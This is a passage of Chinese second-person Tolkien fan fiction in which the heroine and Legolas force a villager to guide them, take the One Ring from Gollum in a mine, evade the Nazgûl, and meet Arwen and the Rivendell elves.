莱戈拉斯听出你这是在挖苦他,他微微皱起眉,“但我的年龄可比你大多了。” 闻言,你无奈地笑了,当他选择用精灵的年龄和你身为人类的年龄做比较的时候成熟与否就显而易见了,你说:“两个不同种族的年龄也能这么简单粗暴地放在一起比较吗?” 莱戈拉斯收回看向天空巨鹰的目光,心虚地撇撇嘴,“这个嘛……但就算是换算成人类的年龄,那我也比你年长。” 难道你还得夸奖他一句很严谨吗?都直接换算成人类的年纪了。 “有的时候年龄并不是最重要的因素,总之,我那么做是有自己的考量的。”你知道自己和莱戈拉斯解释不明白,就只能这样含糊过去,而莱戈拉斯也知道你这是在敷衍了事,他说:“好吧,我知道了。” 经过几天的赶路,你们率先到达的是位于中部的一个村庄,你之前就听说这里出现过很多怪事,比如说有人离奇失踪,还有人突然疯了,这些都很可能和至尊魔戒有关,当你和莱戈拉斯来到这个小村庄,还没等你们进入村庄呢,先一步迎接你们的就是高昂的过路费。 “外来者我勒令你们马上止步,前面是私人土地,如果你们想要通过这里就得要交过路费!”说话的人骑在一头疲惫的老驴背上,他的身量不高,脸色蜡黄,一双眼睛大得夸张,眼突得严重,仿佛下一秒眼球就要夺眶而出,他的声音和他的长相倒是很相得益彰,同样的粗糙。 你看了看周围,后来才发现原来他在你们的右下角,你的举动无疑刺痛了男人的自尊心,因此他一开口就把平常的过路费价格翻了个倍,“两枚金币。” 一个金币对于普通人家来说已经是一笔巨款,而他现在一开口就要两枚金币,毫无疑问他这是在狮子大开口,你合理怀疑他就是看你和莱戈拉斯的打扮光鲜亮丽,和寻常过客不同,所以才会要那么多金币的。 这不就是在敲诈勒索吗?你微微眯起眼睛,右手覆在剑柄上,似笑非笑地问道:“这里就只有你一个人负责收过路费的?” 男人听你这么说,他还以为你要松口给钱了,他既有些期待,又有些懊悔自己刚才为什么不多要一些,他扬起下巴,“是的,而且我可以告诉你们,前面的路很不好走,如果你们没有当地人引路的话那肯定会迷路的,然后就这么死在那片迷雾里。” 说着说着,尤其是说到死在迷雾里的时候他的脸上浮现出残忍的笑容,他最喜欢看那些高傲的过路人死在迷雾里,他们再怎么高傲又如何呢?最后等待着他们的不还是死亡的结局吗? 你捕捉到他脸上的扭曲笑容,下一秒你就直接拔剑用剑锋对准他的脖颈,再稍微用力一点尖锐的刀锋就会在他的脖子上开个洞,然后血如泉涌,你的语气就和那剑锋的触感一样冰凉,“那你就没想过自己很可能也会被过路人杀死吗?” 他本来就是看在你是个女人的份上才觉得你好拿捏的,但是现在看来他真是大错特错了,因为你非但没有他想象中的那么好掌控,甚至非常危险,他缓缓举起双手表示自己没有恶意,他的生意都在颤抖:“我……我不是有意那么说的,你们不用任何过路费,真的,你们现在就可以离开了。” “不,我们可不会就这么离开的,我们还得要带走一些东西。” “你想要带走什么东西?”男人尽可能让自己的声音颤抖得没有那么厉害,但是失败了,因为他面临的是死亡威胁,而且现在的你看上去阴晴不定,说不定下一秒就会真的杀死他的,出于紧张和恐惧,他咽了咽口水,“我身上也没什么值钱的东西,如果要说最值钱的东西那就是这头老毛驴了,但是它年纪太大了,干不动活了,没过几年就该老死了。” 你耐心地听他说完这些话,他说得语无伦次,甚至语序都是颠三倒四的,听完以后你才说:“不,我不要你的毛驴,我要你给我们带路,而且我还有几个问题想要问你。” 男人听到你这么说脸色反而变得更加糟糕了,因为如果只是想要他的东西的话还算好办,但是看你的说法那就是要要挟他带你们穿过这片迷雾,而且等到穿过迷雾以后到底还会发生什么他也说不准。 “这个……可是……”男人想要拒绝你的要求,但是现在你的宝剑正架在他的脖子上,他就算真的想要拒绝,也得掂量掂量你是否会直接动手。 “好好——我答应你的要求,现在你总可以把剑移开了吧?”说着,男人低头看了一眼泛着寒光的宝剑,过了一会儿,你才慢悠悠地将宝剑收回去,宝剑入鞘,你对着男人挥挥手示意他走在前头。 莱戈拉斯也在提防这个男人,免得他搞出什么小动作来,男人走在前头给你们领路,“我猜你们肯定是为了那座矿洞而来的,但那个矿洞里危险重重,每年都会有为了开凿宝石而在那里送命的倒霉鬼,因此那里也变得越来越邪门。” 还没等你开始问呢,他就自顾自地说起这个地方的奇怪之处,根据你收集到的信息,这个村庄附近确实有这一座矿洞,难道那枚至尊魔戒就被存放在这个矿洞里了吗? 也不是没有这个可能,只是如果真是这样,那又是谁将它存放在那里的呢?而且据你所知任何接触这枚戒指的生物,尤其是人类非常容易被这枚戒指所蛊惑,并且放大内心的阴暗面。 其实简单想想就知道,假如一个人类真的得到了至尊魔戒,他又怎么会甘心仅仅只是将这枚戒指藏起来呢? 所以你对那个矿洞的故事也不怎么感兴趣,可男人还在说个不停,他还说:“以前还有矮人专门过来开采矿石,但是他们对开采技艺一律保密,就是为了防止周围的人类偷学技巧。” 你听到后面有些不耐烦了,你说:“我还听说这附近的村庄经常有人失踪,而且还有人无缘无故地发疯,这又是为 什么呢?” “谁知道呢,以前总会有野兽出没,兴许是被野兽给吃了,至于发疯的,在这样的环境下发功才是正常反应吧?” 你和莱戈拉斯对视一眼,在话语间你们逐渐进入迷雾内部,笼罩在这片区域的迷雾不同寻常,因为如果是普通迷雾你们行走在其中还能看清周围几米的景物,但是这片迷雾是彻底摧毁了周围的可见度。 如果不是你能够听见莱戈拉斯身下那匹马的马蹄声,你都无法确认他是否还在你身边。 而走在前面的那个男人也趁机想要逃跑,那你怎么可能会给他机会呢,倒不如说你从一开始就料到了他可能会把你们丢在这个迷雾里,所以你一直都很警惕。 于是在他逃跑的第一步,不,应该说是还没等他将逃跑付诸实践,你就弯下腰一把揪住他的衣领,阴恻恻地在他耳边说:“你不会以为自己这样就能逃跑了吧?” 被你揪住衣领的男人打了个寒颤,他真没想到怎么在迷雾里面,你还能准确无误地揪住他呢?你果然不是普通人,他僵硬地转过头,不自然地解释道:“我当然没有要逃跑,我……我只是刚才在确认路线无误而已。” “嗯……真的是这样吗?”你拖长语调,这使得你显得更加阴森可怖。 男人迫不得已之下只能向与你同行的那一位精灵求助,“精灵大人,您就不多说几句话吗?我刚才真的只是在确认路线而已,您应该都看见了吧?” 本来还只是在围观的莱戈拉斯突然听见男人提到自己,他说:“这一点我也不能确认,毕竟你从一开始就存着逃跑的心思。” 眼看莱戈拉斯也没有为他说话的意思,男人只能转头继续向你道歉,你听得厌烦了,终于松开手,冷冰冰地说:“那就继续给我们带路吧,我不希望之后还出什么岔子。” “好的——好的,我知道了。” 接下来的时间,他都在老老实实地给你们带路,偶尔还会用眼角的余光观察你的表情,并且察言观色地说:“您二位来这里是为了寻找什么东西吗?” “这个问题的答案,你如果知道了对你没有太多的好处。” 等会儿要走出迷雾的时候,你就无比自然地从背包里拿出一只断手,那只手皮肤苍白,手腕的横切面干净利落,横切面的血肉呈现出暗红的色泽,但是并没有要腐烂的迹象,男人一看到那这断手,他的脸色就从蜡黄变成了苍白。 试问有哪一个正常人在外出的时候,背包里还带着一只断手呢?而且谁知道这只断手的来历呢? 男人越发肯定自己这次是倒了大霉才会遇到你们两个。 你把那只索伦的断手拿在手里,就跟拿着指南针一样到处转来转去,但是好像没什么反应,你没有马上放弃,一直拿着这只断手在附近走来走去,这画面诡异而可怕。 男人对着不远处的莱戈拉斯说:“她……她手里拿着的是什么东西?”在问出这个问题的时候,他心里还心存侥幸,也许那只是什么标本呢又或者是很仿真的玩意儿呢? 然而莱戈拉斯的回答让他心中的侥幸荡然无存,他说:“如你所见那就是一只断手。” “断手……是你们捡到的吗?” 莱戈拉斯奇怪地皱起眉,谁会捡到这种东西呢?他真不明白这个人类怎么会这么问,他说:“当然不是捡到的,而是直接砍下来的呀。” 莱戈拉斯丝毫没有意识到自己说出这一番话会给面前的人类造成怎样的心理阴影。 男人还想再说些什么,但是他的嘴唇一直在颤抖,以至于他没能完整的说出一句话,恰好在这时你也折返回到他们身边,你不悦地“啧”了一声,“怎么好像没效果呢?” 该不会这只断手真的没有你想象中的那么有效吧? 莱戈拉斯又说:“那不如再换个地方?现在有可能是因为距离太远,所以才没有反应的。” 男人听不明白你们到底在说什么,但是这不妨碍他对你们感到恐惧,他犹豫了很久,终于鼓起勇气说道:“现在我也带你们离开那片迷雾了,我总可以离开了吧?” “暂时还不行,毕竟你是一个还算合格的向导,所以我打算留用你一会。”你笑眯眯地说。 第97章 第97章“呃……我想我们应该换…… 男人脸上是肉眼可见的失落,他料到了你不会那么轻易放他离开的,他在内心祈祷维拉能够保佑他,接着又在你的命令下带着你们去往那附近的矿洞,途中你们从村庄的边缘路过,这个村庄并没有因为这个矿洞的存在而变得富饶繁盛,相反的,这里一副民不聊生的样子,田野里的野草都快盖过庄稼了,目光所及之处的房屋都是破破烂烂的,没什么烟火气。 “这里的居民都去哪里了?”你问道。 男人耸耸肩,“你觉得在这种怪事接连发生以后还会有人住在这里吗?除了一些年迈得实在是走不动路的老人,几乎全部的青壮年都搬到其他地方去了。”而那些老人留下来也不过是在等死而已。 所以除了想要来矿洞里碰碰运气的冒险家,投机取巧者,几乎不会有谁光临这里,这也是为什么男人难得遇到你们两个过路人就铆足了劲地薅过路费,但他现在也为此付出了惨痛的代价,那就是暂时成为你们的向导,但是之后你会对他做什么那也不好说,没准他哪句话惹恼了你,你一个勃然大怒就直接把他给杀死了呢? “这周围有吃人的怪物,但看它留下的痕迹不像是食人妖,因为这只怪物比食人妖聪明多了,而且身形较小,到过的地方只会留下些许痕迹。”男人向你们说起关于这个怪物的故事,一开始人们也想着消灭这个怪物,但是伴随着前去调查的青壮年一个接着一个地消失,人们逐渐感受到了恐惧,他们不愿再有人为此而牺牲,因此转而离开这个地方。 听男人那么说,你倒是有些好奇那个所谓的怪物倒地是什么生物,如果不是食人妖的话,难道是半兽人?又或者是哥布林? 你陷入沉思,就在你们快要靠近矿洞的时候莱戈拉斯捕捉到一股从洞底翻涌上来的气味,臭气熏天,他顿时皱起眉,“那个矿洞底下到底有多少的尸骨啊,都已经发酵出这样浓重的味道了。” 男人站在洞口,他提醒你们,“我劝你们还是站在这里看看就好,因为一旦进入其中,你们就算再厉害也很可能尸骨无存的。”他这可不是在夸张,说的可都是事实。 你的脚步停在洞口,脚下踩着运输矿车的轨道,从已经生锈的轨道就能看出来这个矿洞很久没有人踏足过,你借着外面的日光看向内部,里面漆黑一片,只能感受到迎面而来的臭鸡蛋味气体,你双手环胸,“既然下面有那么多的尸骨,就足以证明那个怪物就生活在矿洞里。” 男人摊手,“是的,它在矿洞里,你们该不会要找的就是这只怪 物吧?但是……我先把丑话说在前面,你们想要冒险我没意见,但我可不能为此把自己的性命都搭进去,所以你们要去就去吧,但我不会和你们一起的。” “是么,那你就不担心到时候怪物跑出来没人保护你吗?”你说的话一下子就切中男人的死穴,确实,如果真的到时候你们惊扰了那只怪物,而他又那么倒霉地和怪物打了个照面,那么他的下场不用想也知道是什么,所以他犹豫了好一会,最后才说:“好吧,但我还是不会进入洞穴的,顶多就是在外面等你们。” 你从挎包里拿出夜光石,之所以不用火折子是因为你觉得这个洞穴底部肯定积攒了很多易燃气体,一旦有任何的火星都会造成一场剧烈的爆。炸,所以出于谨慎起见,你选择用夜光石来照明,你走在前头,莱戈拉斯和你并肩同行,他手里也举着一盏灯,那是由白晶石制成的引路灯。 你的另外一只手里还拿着索伦的断手,伴随着你们逐渐深入这个矿洞,你手里的那只断手也终于出现细微的颤抖,你低下头,仔细观察那只断手,发现它朝着某个方向转动,而此时此刻你们也恰好来到了一个分叉口,你和莱戈拉斯走的是那只断手指出来的道路,其实你也不能确定那是否就是正确的道路,但是既然它给出了反应,那你们就朝着这个方向前进吧。 走到后面那股臭味越发浓重,你都有些喘不过气来了,你身边的莱戈拉斯刚想要说些什么,你忽然抬起手示意他安静一点,你侧耳倾听,你刚才似乎捕捉到了从某个方位传来的呢喃声,那声音因为隔着一段距离所以不怎么清晰,但对方一直都在重复相同的话,这下子莱戈拉斯也听清楚了。 “它在说……‘我的珍宝’?”莱戈拉斯轻声问道。 你对着他点点头,是的,这和你刚才听到的内容一样,只不过那声音不像是食人妖亦或是哥布林,因为它说着说着还会发出诡异的咕噜,咕噜声响,这声音是它无法控制住下意识发出来的。 你们循着声音走去,逐渐地,你们脚下的道路也不再平坦,愈发凹凸不平,你低头一看,原来路上堆满了无数的森森白骨,头骨还有腿骨,杂七杂八地堆放在一起,你倒是不会被这种场面吓到,顶多就是感叹这只怪物真是吃了不少人类,不对,岂止是人类,它就连半兽人都吃,你很难想象半兽人的味道,但肯定很糟糕。 不知何时,那一道碎碎念的声音消失不见,这周围变得无比安静,有些安静过头了,气氛趋于诡异,你忽然感受到了什么,抬起头,一只身形瘦弱,皮肤苍白的生物从你们头顶爬过,它爬行的速度很快,一眨眼的功夫就不见了。 你和莱戈拉斯交换一个眼神,后者抽出一把刀,下一刻,当那只怪物想要袭击你们的时候先是挨了你一拳头,然后莱戈拉斯手中的长刀擦着它的脑袋,再往下一分就是它的脑袋了。 “他们发现咕噜了!他们发现咕噜了!他们要来做什么,快跑——快跑——我们快跑!!”那只怪物嘴里还在反复念叨什么,都是一些听起来就很诡异的话语。 你用剑锋指着它的咽喉,“你是什么东西?” “她在问什么?她在问咕噜是什么东西?咕噜就是咕噜……” 你举起手中的灯盏看清它的长相,它的五官和人类有些相似,但是那双过分大的眼睛显然就和人类不沾边了,被你用剑指着咽喉,它被吓得一动都不敢动,但嘴里还是念念有词,并且时不时发出咕噜咕噜的动静,你冷冰冰地说:“这里的骨头都是你吃剩下的?看来你吃了不少人。” “不……不是我,不是斯密戈!是咕噜!这都是咕噜干得坏事——!”它的语调在不停地变换,你听出来了,它似乎有两种性格,当它嘴里发出咕噜咕噜的声响时,那么它的性格就会相对而言地变得凶残而且还试图徒手握住你的剑锋,但是当它使用较为柔和的语调时,它的表情也变得更加温驯一些。 “无论是不是你,这都已经是既定的事实了,而且——”还没等你把话说完,这只怪物就尖叫一声,然后用手掰开你的剑锋,它的手掌在接触你的剑锋时自然而然地也被划伤,但是它根本不在乎这伤口,铆足劲朝着洞穴更里面跑去,它的身影较小,逃跑的速度很快,外加之你们对这里的地形都不怎么了解,因此眨眼间你们就又把它给跟丢了。 唯一值得庆幸的是它的伤口一直在流血,你们顺着滴滴答答的新鲜血迹就能找出它逃跑的大致路线,莱戈拉斯说:“这个生物以前曾经可能是人类,又或者是和人类血缘关系很近的生物。” “矮人?”你猜测道,而且前面那个带路的男人不也说了吗?很久以前经常会有矮人来这里开采矿石的,没准就是其中一个矮人变异而来的呢? “我觉得不太像。”莱戈拉斯皱起眉,而且如果真的是矮人,那么他的亲族肯定不会放任他不管的,虽说他不怎么喜欢矮人,但他们确实很团结,不会做出抛下同伴的行为。 “那就是……还有别的什么和人类血缘相近的种族吗……”你忽然想到了什么,那是你曾经在书上看到过的,你的嘴里冒出一个有些新奇和陌生的词汇,“霍比特人,他有可能是霍比特人。” 听你那么说,莱戈拉斯在脑海内搜寻有关霍比特人的信息,发现自己对这个物种可以说是一无所知,毕竟他对矮人都不怎么了解,更别提这个见都没见过的霍比特人了。 “这样好像也说得过去。”莱戈拉斯小声地说,那么现在问题就又变成了,好端端的一个霍比特人不舒舒服服地住在自己的袋底洞里,反而出现在这个臭气熏天的矿洞里,而且还以人类为食,外表也变得人不人鬼不鬼的。 在你们谈话间,地上的血点逐渐增多,你们也听见不远处传来的嘟哝,“该死好痛,好痛!可恶的人类!可恶的精灵——他们来这里肯定是为了抢走我们的宝贝!那是我们的!决不允许任何人抢走它——” 在这个怪物自言自语的时候你瞥见它的手里出现一枚戒指,在你看到那枚戒指的一瞬间,你就能确定那是索伦打造的至尊魔戒,而你装在背包里的那只断手也试图爬出你的背包,但是又被你给按了回去,虽然你什么都没说,但是莱戈拉斯从你的表情就能看出来,这个怪物身上有你们要找的东西,他说:“待会我先控制住它,你就把那枚戒指夺过来。” 你点了点头,那只怪物还在嘀咕个不停,丝毫没有察觉到精灵已经悄然绕到它身后,精灵的身体很轻盈,他们在雪地上行走都不会留下任何痕迹,因此在这片地面上行走,虽说表面都铺满了厚厚一层的白骨,但他的靠近也没有发出任何脚步声。 等它反应过来的时候就已经太晚了,莱戈拉斯伸出手干脆利落地钳制住它的双臂,你见状眼疾手快地从它手里夺走那一枚 戒指,才接触到那枚戒指你就感受到了索伦的倾注在戒指里的力量以及邪恶黑暗的负面情绪,打个比方现在的情况就有些像是你与索伦的思维达成链接,这让你接收到了一大堆负面情绪,不免让你觉得很不爽。 眼看着你从它手里夺走那枚戒指,它拼命挣扎起来,“不——不!!那是我们的宝贝,我们的!!你们这两个卑鄙无耻的窃贼!强盗!” 你实在是嫌它太烦了,于是招呼莱戈拉斯赶紧离开这个矿洞,既然你想要的东西已经拿到手了,那你们就不需要在这里停留太久,你们沿着矿车的轨道到底朝着前方尽头跑去,那只怪物还在身后穷追不舍,但是他的速度远远赶不上你们跑步的速度,而且后来你们又坐上矿车一路朝着矿洞口飞驰而去,洞口处的天光逐渐明晰。 你们乘坐的矿车一时之间刹车失灵,你们只能压低重心,将自己的身体团成一团,乖乖守在矿洞口的男人只见一辆矿车径直飞了出来,你和莱戈拉斯因为惯性在地上打了几个滚才停下来,但好在你及时调整姿势所以你顶多就是脸颊还有手臂有些擦伤而已,至于其他的,并无大碍,莱戈拉斯也是,这在男人看来就是你们飞了出去还毫发无损地站了起来,你伸手查看放在口袋里的魔戒,还好,那枚戒指还在。 既然戒指已经找到了,那么现在这只断手就没有利用价值了,你把那只断手丢进矿洞里,这时候怪物也追了上来,它满脸狰狞表情,那只断手进入它的视野,它自然而然地将这只断手也当成报复对象,甚至和这只断手扭打在一起,男人见状,连自己的包都忘了拿,吓得连忙跑到你们身边,“那——那到底是怎么回事?” 他都不知道要先惊讶你的断手居然还会自己动,还是惊讶这两个怪物居然扭打在一块了,而下一秒更加戏剧性的事情发生了,怪物抄起男人留下的背包攻击断手,原本装在里面的火折子也顺势落下,被它顺手当成武器攻击断手,火折子漏出的星星点点火光顿时点燃这周围的易燃气体,爆。炸就在眨眼间发生,爆。炸引起的冲击波震得你和莱戈拉斯都后退几步,那个男人更是一下子被震倒在地,他都没反应过来刚才发生了什么。 “这……这到底是怎么回事?”他哆哆嗦嗦地问道,空气中弥漫着爆。炸过后的焦糊味,男人看着化为废墟的矿洞,彻底傻眼了。 你说:“就是发生了个小插曲而已,你应该能保密的吧?”但其实你也知道就算他真的守口如瓶,你们在这里搞出来的动静肯定也会引起各方势力的注意的,因此你当机立断,就要离开这个地方,开始思考如何毁掉这枚戒指。 “可以尝试用斧头将它劈成两半吗?”莱戈拉斯问道,但你很肯定地说:“想要销毁这枚戒指没有那么简单。”其实关于如何毁灭至尊魔戒这件事你就曾经和埃尔隆德还有吉尔-加拉德他们讨论过,他们说起以前打造精灵三戒的精灵凯勒布理鹏,后来他因为自己无法忍受内心的愧疚而选择西渡回到维林诺,但在西渡之前他给剩下的精灵留下了一些重要信息,其中就包括如何销毁至尊魔戒,他提供的方法仅仅是出于他的推测,毕竟在当时没有谁真的尝试过夺得至尊魔戒。 他留下的那几个方法里有的是选择用龙焰融化魔戒,又或者是将其沉入大海内部,让它永不见天日,当然,还有最后一种方法,那就是将其投入当初打造它的末日火山的岩浆里。 你思来想去,还是觉得最后一个方法更加靠谱,因为前两个方法,首先巨龙基本上都已经被屠杀得没剩下几条,其次如果真的丢到大海深处,谁又能保证日后索伦绝对不会找到它呢? 所以无论怎么看都是最后一个方法最为可靠,可行性也是最高的。 你和莱戈拉斯离开那个偏僻的小村庄以后就和他说起自己的打算,“我还得要再回魔多一趟,如果想要将魔戒彻底销毁,那就得要将其丢入末日火山的岩浆里。” 还好之前你们已经带领精灵军队占领了魔多,否则要是现在过去那不亚于自投罗网,由此也能看出索伦当时绑架阿尔温也是真的急得尽出昏招,这样反而对你很有利,因为你在无形之中就为自己扫清了障碍,想到这里,你的心情也变得轻松了许多。 莱戈拉斯骑在马背上,“事不宜迟,那我们就直接去往魔多吧。” 在你们去往魔多的路上你口袋里的那枚魔戒一直在试图蛊惑你,你能够听见它在你脑袋里说话,那声音和索伦说话的语调差不多,让你很厌烦,因此你都没搭理过这枚戒指,但这枚戒指始终没有放弃过。 “你想要什么?金钱还是权力?又或者是强大的实力?”魔戒的声音在你的耳边萦绕着,你觉得有些好笑,他说的这些你都不怎么感兴趣,因为那都是你已经得到过的东西了,你的笑容嘲讽,轻轻地对着他说:“你知道你和精灵宝钻比起来毫无可比性吗?哪怕你是索伦倾注了大部分心血铸造而成的,但实际上也只是一个低劣的仿制品而已。” 在你的嘲讽之下,魔戒接下来的一段时间都没再和你说话,似乎是被你伤到了,但这对你来说反而是件好事,因为你终于能耳根清净一会了。 正如你所预料的那样,在你们拿到至尊魔戒后没多久,索伦也察觉到了你们这边的动静,他就跟发了疯似的派出自己手头仅有的兵力前来阻拦你和莱戈拉斯。 挥舞一下宝剑,抖去剑锋上沾染着的血液,你已经记不清这是第几批直接冲着你们来的半兽人军队了,看这架势索伦是要不惜一切代价将你们击杀并且夺回这一枚至尊魔戒。 “真是没完没了,他到底是从哪里得到我们找到魔戒的消息的?”莱戈拉斯用完箭筒里的最后一支箭,他再次伸手却摸了个空,他有些不耐烦地叹了一口气,只能暂时收起弓箭,转而使用双刀。 他瞥了一眼旁边也同样拿着双刀砍下半兽人头颅的你,都到这个时候了,他还能笑着和你说:“这次陶瑞尔不在,你要和我比赛吗?看看谁杀死的半兽人数量更多?” 你可没他那么幼稚,你一个转身,你手中握着的双刀伴随着你的动作出现残影,而那残影又连成一个圈,那光圈将周围的半兽人头颅悉数砍下,一时间那些脑袋纷纷咕噜噜地落地,还在地上打了几个圈。 “是么,你确定要那么比吗?现在我们身边可没有第三方,如果出现争议了谁又能来当我们的裁判呢?还有更重要的一点,我对于你的算术能力持怀疑态度。” 一听你那么说,莱戈拉斯可就来劲了,他一刀刺穿半兽人的胸膛,“什么叫做对我的算术能力持怀疑态度?” 你的语调轻飘飘的,“就是字面意思。” 莱戈拉斯有些生气,但又觉得你说的好像有点道理,因此到最后这场战斗结束了他才说:“你以前在幽谷的时候可不见你挑剔他们那些精灵的算术能力。” 你一边帮莱戈拉斯回收箭,一边说:“你不会因为这件事情耿耿于怀吧?” 那倒还没有到耿耿于怀的地步,毕竟他又不是那么小心眼的精灵,他从一个还没死透的半兽人身上收回箭,又痛快地给了他一刀,“我才没有那么幼稚呢。” 嗯……确实没有那么幼稚,你在心里默默地想。 莱戈拉斯直起身,他看向远方,远方天空与地面的交界线被一片乌云笼罩,但凭借精灵的好视力,能够看得非常清楚,那并不是什么乌云,而是由无数纳兹古尔组成的空中军队。 他说:“呃……我想我们应该换一条路线了。” 第98章 第98章难道你就要一直被困在这…… 你也捕捉到远方的动静,干脆利落地换了一条路线,好在你早就为自己想好了退路,毕竟你现在手里拿着的是索伦倾注无数心血打造出来的魔戒, 他肯定会不惜一切代价也要将其夺回来。 面对这只空中军队,你们长久地停留在平坦而宽阔的平原上将会对你们非常不利,甚至会在第一时间暴露你们的位置,因此你们朝着附近的森林奔去,此时此刻躲到森林里才是最佳选择,你们将身影藏在茂密的树影下,莱戈拉斯说:“也不知道我们的援军什么时候到。” 你早在找到至尊魔戒的第一时间就给幽谷还有其他精灵领地送去信件,只不过那几封信估计没那么快送到精灵手上,而且就算他们收到了信件一时半会也赶不过来,所以现在只能靠你们自己渡过难关了。 你们此刻躲在树洞里面,那两匹马被你们藏在旁边的树洞里,得要感谢这里的树木都非常高大遮天蔽日,连带着树洞也非常宽敞,容纳你和莱戈拉斯也不算太拥挤。 “反正现在是不会到的,我们只能靠自己了,难道说你现在在害怕吗?”你问道,一听你这么说莱戈拉斯当即反驳道:“什么?这可没什么好害怕的。” 他只是在苦恼自己离开密林的时候带的箭矢带少了,而且再加上途中杀死半兽人的箭矢折损率,他现在箭筒里的箭少了四分之一左右,他说:“我就应该多带点箭出来的。” 但是现在后悔已经来不及了,你说:“如果我是你,那我就会庆幸自己还带了一对双刀。” 说起双刀,莱戈拉斯早就对你换上的新的双刀颇感兴趣,他说:“你的双刀是从哪里来的?我以前都没见你使用过。” “是从阿尔诺王国的密室里拿出来的,一同拿出来的还有送给你父亲的各种珍宝。”说着,你很慷慨地把双刀拔出来递给他端详,反正那些纳兹古尔只是一直在天空中盘旋而已,他们虽然感受到了你和莱戈拉斯的气息却没能找到你们的身影,更重要的一点是他们不敢贸然进入这片古老的森林,因为这里的树木历史悠久,有的甚至是从第一纪元一直活到第三纪元,如果惹怒了这些古木后果不堪设想。 因此这群纳兹古尔只能绕着这片森林转了一圈又一圈,最后才非常不甘心地飞离这里。 而此时你和莱戈拉斯还在讨论双刀的事情,他又提了一嘴你当做报酬送给瑟兰迪尔的珍宝他动都没动过,非但没动过,而且他还增添了一些自己宝库里的珍宝,打算到时候送回去。 “他还打算把这些东西送回北方的阿尔诺?” “是的。”莱戈拉斯听父亲那么说过,“他觉得北方王国百废待兴,在这种时候他应该伸出援手,而不是要求你履行约定收下你的报酬。” 但不得不说,瑟兰迪尔那么做反而对密林更加有利,因为这样一来你非但没还清之前欠下的人情,反而又欠下一个,瑟兰迪尔果然是密林的精灵王,虽然看上去脾气暴躁,但是该有的智谋才略他都不缺。 嗯……这样一来你以后还得找机会再感谢他呢,你单手托腮,莱戈拉斯没想到这一层,他只是说:“到时候北方阿尔诺需要帮助的话,我会以密林使者的身份前来帮忙的。”莱戈拉斯都已经想到很以后的事情了,真的到了那时候他还能再去拜访阿拉贡。 “那就到时候再说吧。”你略带敷衍地说,又等待了一会,你走出树洞抬头朝着天空看去,确认那群纳兹古尔已经离开了,你没回头但对着身后的莱戈拉斯打了个手势,示意外面已经安全了,莱戈拉斯跟随着你的脚步走出树洞,那股纳兹古尔带来的黑暗气息还残留在天空中,这让莱戈拉斯不太适应地皱皱眉,那股黑暗气息可真难闻。 你们没有在这片森林里久留,你们牵着马匹走出森林,一个翻身坐在马背上,看来你们接下来得要换一条路线了,你们一开始走的路线是耗时最短的路线,现在情况有变,备用计划的路线中途会稍微绕一段远路,但总的来说不会耽误太多时间。 尽管你们还得提防不知道从哪里冒出来的敌人,但因为莱戈拉斯时不时和你说起自己的趣事还有密林的故事,所以整体氛围居然能用轻松来形容,等他说了一大堆自己小时候的事情,他就又开始反过来询问你儿时的故事。 “我猜你想问的应该是六岁以前的事情吧?”毕竟在六岁以后你就来到了密林居住,那样的生活和密林里的精灵没什么区别,所以你觉得也没什么好说的。 “我和阿拉贡是双生子。” 莱戈拉斯疑惑地歪了歪脑袋,虽然他想听你小时候的事情,但也没必要从那么小的时候开始说吧?他说:“我想我是知道你们是双生子的关系。” “小时候的阿拉贡会和我玩互换身份的游戏,让周围的侍女来猜谁是阿拉贡谁又是亚玟。”说起这个,你的唇角微微上扬,你知道这个游戏很幼稚,而且你每次陪阿拉贡玩都是因为他缠着你请求了很多次,实在是磨得你没办法了你才答应下来的,但现在回忆起来似乎也没有那么糟糕。 “她们猜出来了吗?”莱戈拉斯很配合地问道。 “有的猜出来了,有的没有,有的甚至还被吓了一跳。” 莱戈拉斯想象了一下小时候的你还有阿拉贡,其实如果不是你们长大以后身形出现区别,估计他可能也无法分辨出你们来。 你还说起阿拉贡总是让母亲吉尔蕾恩再多讲一个睡前故事,他每次那么请求都能奏效,毕竟吉尔蕾恩显然更喜欢他。 “我想说,能够有一位手足是一件非常幸运的事情,你们能够在危难时刻相互扶持。”莱戈拉斯还有些羡慕你和阿拉贡,要是他知道你和曾经的弟弟格林之间的关系估计就不会那么想了吧。 你沉默不语,你们赶路一连持续了几天,期间只休息过几次,都是莱戈拉斯担心你的身体才强行暂停休息的,还没等你们到达曾经的魔多,收到信件出发的精灵队伍就先一步与你们汇合,这支精灵队伍是从幽谷来的,领头的精灵毫无疑问是格洛芬德尔,但是让你感到些许惊讶的是在队伍前列的阿尔温公主。 你先是对格洛芬德尔点了点头表示感谢他们的增援,接着你又走到阿尔温身边,“您怎么会来这里?” “我看见幽谷的军队整装待发,在询问我父亲之后他才说出实情……我也想来帮助你。”阿尔温轻轻地说,当然,她提到的询问她的父亲,实际情况并没有她说得那么轻描淡写,因为埃尔隆德忧心阿尔温再次外出遇到危险,很可能会招惹来索伦的报复,所以他原先没有告诉她真相,还是在阿尔温地步步紧逼下,他才无奈地说出实情。 而阿尔温也正如埃尔隆德预知的那样执意要去往你身边帮助你。 一切都在按照他预知的那个未来发展,埃尔隆德只能叹息着叮嘱阿尔温万事小心谨慎,并且让她的双生子哥哥埃尔拉丹和埃洛希尔全程保护她。 这就是阿尔温在见到你之前所发生的事情了,但这些细节她都一笔带过没有告诉你。 旁边的格洛芬德尔见没法加入你和阿尔温的对话,就只能退而求其次地找莱戈拉斯了解情况,后者如实告知,尤其是在矿洞里遇到的那个怪物,他说了很多关于那只怪物的事情,最后来了一句,“但好在最后它死在了自己手里。” 虽然格洛芬德尔没能加入你和阿尔温的对话,但是埃尔拉丹和埃洛希尔这对兄弟倒是很大大咧咧地挤过来,然后说:“我们的妹妹一听说你可能有危险就吵着闹着要出来找你,谁都拦不住,就连我们的父亲都劝不住她。” 被拆台的阿尔温笑盈盈地对着自己那两个哥哥说:“您们没看见我正在和她谈话吗?” 埃尔拉丹尴尬地笑了一下,知道自己再说下去可能会惹阿尔温生气,到时候让她消气又得花费好一番功夫,所以埃尔拉丹很识趣地准备离开,但是埃洛希尔还不明所以,他说:“我们说的可都是事实呀,唉,再这样下去亚玟你可就要把我们的妹妹给带走了——” 此时此刻埃尔拉丹想要阻拦弟弟埃洛希尔已经来不及了,他只能选择保全自己,后退几步,阿尔温对埃洛希尔说:“那这也是我的选择。” “没错,这也是她的选择。”你说。 埃洛希尔终于自讨没趣地从你们身边离开,你有些担心地说:“您应该没有和埃尔隆德大人发生争论吧?” 阿尔温垂下眼帘,她说:“在我看来那不算是争论,因为我们只是持有不同看法而已,这是很正常的事情。” 